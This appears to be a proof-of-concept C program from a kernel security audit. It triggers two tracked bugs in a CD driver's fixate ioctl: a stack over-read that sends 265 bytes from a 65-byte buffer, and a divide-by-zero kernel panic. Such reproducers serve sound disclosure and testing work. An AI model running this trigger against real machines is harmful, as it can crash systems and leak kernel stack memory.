DF-4184 / fixate_stackread.c
/* * DF-4184 / DF-4185 PoC trigger * acd_fixate() over-read of 65-byte stack write_param (DF-4184) * acd_fixate() divide-by-zero via cur_write_speed==0 (DF-4185) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/cdrio.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/acd0"; int fd, error; struct ioc_toc_header th; struct ioc_read_toc_entry te; static struct cd_toc_entry tab[128]; int bs; fd = open(dev, O_RDONLY | O_NONBLOCK); if (fd < 0) { printf("open %s: %s\n", dev, strerror(errno)); exit(1); } printf("opened %s fd=%d uid=%d euid=%d\n", dev, fd, getuid(), geteuid()); /* sanity: TOC header read (boot DVD present) */ if (ioctl(fd, CDIOREADTOCHEADER, &th) == 0) printf("TOC: starting=%d ending=%d len=%d\n", th.starting_track, th.ending_track, th.len); else printf("CDIOREADTOCHEADER: %s\n", strerror(errno)); /* sanity: CDIOREADTOCENTRYS with crafted large data_len (bounds negative test) */ memset(&te, 0, sizeof(te)); te.address_format = CD_LBA_FORMAT; te.starting_track = 1; te.data_len = 0xffff; /* > sizeof(toc->tab) -> must EINVAL */ te.data = tab; errno = 0; error = ioctl(fd, CDIOREADTOCENTRYS, &te); printf("READTOCENTRYS data_len=0xffff -> ret=%d errno=%d (%s) [expect EINVAL]\n", error, errno, strerror(errno)); /* sanity: block size query */ errno = 0; error = ioctl(fd, CDRIOCGETBLOCKSIZE, &bs); printf("CDRIOCGETBLOCKSIZE -> ret=%d bs=%d\n", error, bs); /* * THE TRIGGER: CDRIOCFIXATE. * acd_fixate(): * 1. mode_sense(WRITE_PARAMETERS_PAGE) into stack `struct write_param param`(65B) * 2. mode_select(¶m, param.page_length + 10) <-- DF-4184: * device-fed page_length=0xff => 265-byte DATA-OUT from 65-byte stack obj * 3. CLOSE_TRACK; test_ready; timeout /= (cur_write_speed / 177) * cur_write_speed==0 (cap senses failed at attach) => DF-4185 div0 panic */ errno = 0; error = ioctl(fd, CDRIOCFIXATE, &bs); printf("CDRIOCFIXATE -> ret=%d errno=%d (%s)\n", error, errno, strerror(errno)); printf("survived (no panic)\n"); close(fd); return (0); } |